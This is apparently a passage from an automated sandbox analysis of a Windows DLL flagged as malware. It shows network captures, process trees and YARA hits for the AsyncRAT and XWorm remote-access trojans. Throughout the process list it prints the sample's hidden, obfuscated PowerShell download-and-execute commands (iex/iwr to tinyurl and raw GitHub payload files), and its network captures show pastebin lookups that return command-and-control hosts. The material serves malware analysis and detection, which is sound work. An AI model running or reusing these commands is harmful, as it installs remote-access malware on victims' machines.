2c 31 2c 38 31 2c 32 31 Data Ascii: 1,169,2,225,0,81,21,184,2,233,0,81,21,184,2,241,0,81,21,184,2,249,0,81,21,184,2,1,1,81,21,184,2,9,1,81,21,184,2,17,1,81,21,184,2,25,1,81,21,184,2,33,1,81,21,184,2,41,1,81,21,184,2,49,1,81,21,34,0,57,1,81,21,34,0,65,1,81,21,34,0,73,1,81,21,122,3,89,1,81,21
2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 2c 31 31 36 2c 39 37 2c 31 31 30 2c 31 30 30 2c 39 37 2c 31 31 34 2c 31 30 30 2c 37 37 2c 31 31 31 2c 31 30 30 2c 31 31 37 2c 31 30 38 2c 31 30 31 2c 36 35 2c 31 31 36 2c 31 31 36 2c 31 31 34 2c 31 30 35 2c 39 38 2c 31 31 37 2c 31 31 36 2c 31 30 31 2c 30 2c 37 32 2c 31 30 35 2c 31 30 30 2c 31 30 31 2c 37 37 2c 31 31 31 2c 31 30 30 2c 31 31 37 2c 31 30 38 2c 31 30 31 2c 37 38 2c 39 37 2c 31 30 39 2c 31 30 31 2c 36 35 2c 31 31 36 2c 31 31 36 2c 31 31 34 2c 31 30 35 2c 39 38 2c 31 31 37 2c 31 31 36 2c 31 30 31 2c 30 2c 36 35 2c 31 31 35 2c 31 31 35 2c 31 30 31 2c 31 30 39 2c 39 38 2c 31 30 38 2c 31 32 31 2c 38 34 2c 31 31 34 2c 39 37 2c 31 30 30 2c 31 30 31 2c 31 30 39 2c 39 37 2c 31 31 34 2c 31 30 37 2c 36 35 2c 31 31 36 2c 31 31 36 2c 31 31 34 2c 31 30 35 Data Ascii: ,116,97,110,100,97,114,100,77,111,100,117,108,101,65,116,116,114,105,98,117,116,101,0,72,105,100,101,77,111,100,117,108,101,78,97,109,101,65,116,116,114,105,98,117,116,101,0,65,115,115,101,109,98,108,121,84,114,97,100,101,109,97,114,107,65,116,116,114,105
2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 2c 30 2c 38 33 2c 31 30 31 2c 31 31 36 2c 38 37 2c 31 30 35 2c 31 31 30 2c 31 30 30 2c 31 31 31 2c 31 31 39 2c 31 31 35 2c 37 32 2c 31 31 31 2c 31 31 31 2c 31 30 37 2c 36 39 2c 31 32 30 2c 30 2c 36 37 2c 39 37 2c 31 30 38 2c 31 30 38 2c 37 38 2c 31 30 31 2c 31 32 30 2c 31 31 36 2c 37 32 2c 31 31 31 2c 31 31 31 2c 31 30 37 2c 36 39 2c 31 32 30 2c 30 2c 36 37 2c 31 30 38 2c 31 31 31 2c 31 31 35 2c 31 30 31 2c 37 37 2c 31 31 37 2c 31 31 36 2c 31 30 31 2c 31 32 30 2c 30 2c 36 37 2c 31 31 34 2c 31 30 31 2c 39 37 2c 31 31 36 2c 31 30 31 2c 37 37 2c 31 31 37 2c 31 31 36 2c 31 30 31 2c 31 32 30 2c 30 2c 39 35 2c 39 37 2c 31 31 32 2c 31 31 32 2c 37 37 2c 31 31 37 2c 31 31 36 2c 31 30 31 2c 31 32 30 2c 30 2c 36 37 2c 31 30 34 2c 31 30 31 2c 39 39 2c 31 30 37 2c 37 Data Ascii: ,0,83,101,116,87,105,110,100,111,119,115,72,111,111,107,69,120,0,67,97,108,108,78,101,120,116,72,111,111,107,69,120,0,67,108,111,115,101,77,117,116,101,120,0,67,114,101,97,116,101,77,117,116,101,120,0,95,97,112,112,77,117,116,101,120,0,67,104,101,99,107,7
2024-09-16 06:22:38 UTC	11837	IN	Data Raw: 2c 31 38 2c 31 32 38 2c 32 31 33 2c 35 2c 33 32 2c 30 2c 31 38 2c 31 32 38 2c 32 31 37 2c 35 2c 33 32 2c 30 2c 31 38 2c 31 32 38 2c 32 32 31 2c 34 2c 33 32 2c 31 2c 32 38 2c 31 34 2c 35 2c 30 2c 32 2c 32 2c 31 34 2c 31 34 2c 34 2c 33 32 2c 31 2c 32 2c 31 34 2c 33 2c 33 32 2c 30 2c 32 2c 38 2c 37 2c 35 2c 32 39 2c 31 34 2c 38 2c 32 2c 32 2c 32 2c 35 2c 30 2c 32 2c 31 34 2c 31 34 2c 31 34 2c 37 2c 37 2c 33 2c 32 39 2c 35 2c 32 39 2c 35 2c 38 2c 36 2c 33 32 2c 31 2c 32 39 2c 35 2c 32 39 2c 35 2c 31 32 2c 30 2c 35 2c 31 2c 31 38 2c 31 32 38 2c 32 35 33 2c 38 2c 31 38 2c 31 32 38 2c 32 35 33 2c 38 2c 38 2c 35 2c 33 32 2c 31 2c 31 2c 32 39 2c 35 2c 36 2c 33 32 2c 31 2c 31 2c 31 37 2c 31 32 39 2c 35 2c 35 2c 33 32 2c 30 2c 31 38 2c 31 32 39 2c 39 2c 38 2c 33 32 Data Ascii: ,18,128,213,5,32,0,18,128,217,5,32,0,18,128,221,4,32,1,28,14,5,0,2,2,14,14,4,32,1,2,14,3,32,0,2,8,7,5,29,14,8,2,2,2,5,0,2,14,14,14,7,7,3,29,5,29,5,8,6,32,1,29,5,29,5,12,0,5,1,18,128,253,8,18,128,253,8,8,5,32,1,1,29,5,6,32,1,1,17,129,5,5,32,0,18,129,9,8,32

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49741	172.67.19.24	443	3620	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 06:23:05 UTC	74	OUT	GET /raw/zNCj2Utm HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
2024-09-16 06:23:05 UTC	391	IN	HTTP/1.1 200 OK Date: Mon, 16 Sep 2024 06:23:05 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Mon, 16 Sep 2024 06:23:05 GMT Server: cloudflare CF-RAY: 8c3ec40a5b677ca0-EWR
2024-09-16 06:23:05 UTC	34	IN	Data Raw: 31 63 0d 0a 78 72 66 63 78 69 71 75 71 63 70 71 68 61 2e 64 64 6e 73 2e 6e 65 74 3a 34 34 31 31 0d 0a Data Ascii: 1cxrfcxiquqcpqha.ddns.net:4411
2024-09-16 06:23:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49742	172.67.19.24	443	3620	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 06:23:06 UTC	50	OUT	GET /raw/6db99fAK HTTP/1.1 Host: pastebin.com
2024-09-16 06:23:06 UTC	391	IN	HTTP/1.1 200 OK Date: Mon, 16 Sep 2024 06:23:06 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Mon, 16 Sep 2024 06:23:06 GMT Server: cloudflare CF-RAY: 8c3ec411298f4363-EWR
2024-09-16 06:23:06 UTC	23	IN	Data Raw: 31 31 0d 0a 34 35 2e 31 34 34 2e 33 31 2e 31 30 35 3a 34 34 33 0d 0a Data Ascii: 1145.144.31.105:443
2024-09-16 06:23:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:22:10
Start date:	16/09/2024
Path:	C:\Windows\System32\loaddll64.exe
Wow64 process (32bit):	false
Commandline:	loaddll64.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll"
Imagebase:	0x7ff75a550000
File size:	165'888 bytes
MD5 hash:	763455F9DCB24DFEECC2B9D9F8D46D52
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:22:10
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:22:10
Start date:	16/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll",#1
Imagebase:	0x7ff707690000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:22:10
Start date:	16/09/2024
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32.exe /s C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll
Imagebase:	0x7ff6037b0000
File size:	25'088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:22:10
Start date:	16/09/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll,DllRegisterServer
Imagebase:	0x7ff708970000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:22:10
Start date:	16/09/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll",#1
Imagebase:	0x7ff708970000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:22:10
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing)
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:22:10
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing)
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: powershell.exePID: 5852, Parent PID: 3676

General

Target ID:	8
Start time:	02:22:10
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing)
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: conhost.exePID: 5520, Parent PID: 4524

General

Target ID:	9
Start time:	02:22:10
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:22:10
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:22:10
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	02:22:13
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing)
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 5616, Parent PID: 5852

General

Target ID:	15
Start time:	02:22:31
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 0000000F.00000002.2756687116.000001E080DC1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 0000000F.00000002.2756687116.000001E080DC1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000000F.00000002.2756687116.000001E080DC1000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 0000000F.00000002.2756687116.000001E081211000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	02:22:31
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Analysis Process: powershell.exePID: 2132, Parent PID: 2668

General

Target ID:	17
Start time:	02:22:31
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000011.00000002.2786658752.00000289CD920000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000011.00000002.2786658752.00000289CD920000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000011.00000002.2786658752.00000289CD920000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: Unknown_Malware_Sample_Jul17_2, Description: Detects unknown malware sample with pastebin RAW URL, Source: 00000011.00000002.2786658752.00000289CD920000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000011.00000002.2786658752.00000289CD920000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000011.00000002.2788362088.00000289CEB80000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000011.00000002.2788362088.00000289CE731000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000011.00000002.2788362088.00000289CE731000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000011.00000002.2788362088.00000289CE731000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Analysis Process: conhost.exePID: 1372, Parent PID: 3620

General

Target ID:	18
Start time:	02:22:31
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	02:22:31
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	02:22:31
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	02:22:31
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	02:22:31
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Analysis Process: powershell.exePID: 380, Parent PID: 5852

General

Target ID:	23
Start time:	02:22:31
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Analysis Process: conhost.exePID: 5240, Parent PID: 4400

General

Target ID:	24
Start time:	02:22:31
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	02:22:31
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	02:22:31
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	02:22:32
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 0000001B.00000002.2729265774.0000026300DC1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 0000001B.00000002.2729265774.0000026300DC1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000001B.00000002.2729265774.0000026300DC1000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Analysis Process: conhost.exePID: 7208, Parent PID: 5980

General

Target ID:	28
Start time:	02:22:32
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	02:22:32
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Analysis Process: conhost.exePID: 7256, Parent PID: 7236

General

Target ID:	30
Start time:	02:22:32
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	02:22:38
Start date:	16/09/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\txglqdpo\txglqdpo.cmdline"
Imagebase:	0x7ff7bc0a0000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	02:22:39
Start date:	16/09/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD20F.tmp" "c:\Users\user\AppData\Local\Temp\txglqdpo\CSCFCCF7DA9204A4074A4DB161ACEE12220.TMP"
Imagebase:	0x7ff683b10000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	02:22:41
Start date:	16/09/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\moha2pjv\moha2pjv.cmdline"
Imagebase:	0x7ff7bc0a0000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	02:22:41
Start date:	16/09/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDAD9.tmp" "c:\Users\user\AppData\Local\Temp\moha2pjv\CSCA4149D862A5C4366874B2835B59D82E1.TMP"
Imagebase:	0x7ff683b10000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	02:22:41
Start date:	16/09/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\amlysbvw\amlysbvw.cmdline"
Imagebase:	0x7ff7bc0a0000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	02:22:41
Start date:	16/09/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDC30.tmp" "c:\Users\user\AppData\Local\Temp\amlysbvw\CSC2A1C7825B77E498896BC74C8D6453DCB.TMP"
Imagebase:	0x7ff683b10000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	02:22:42
Start date:	16/09/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
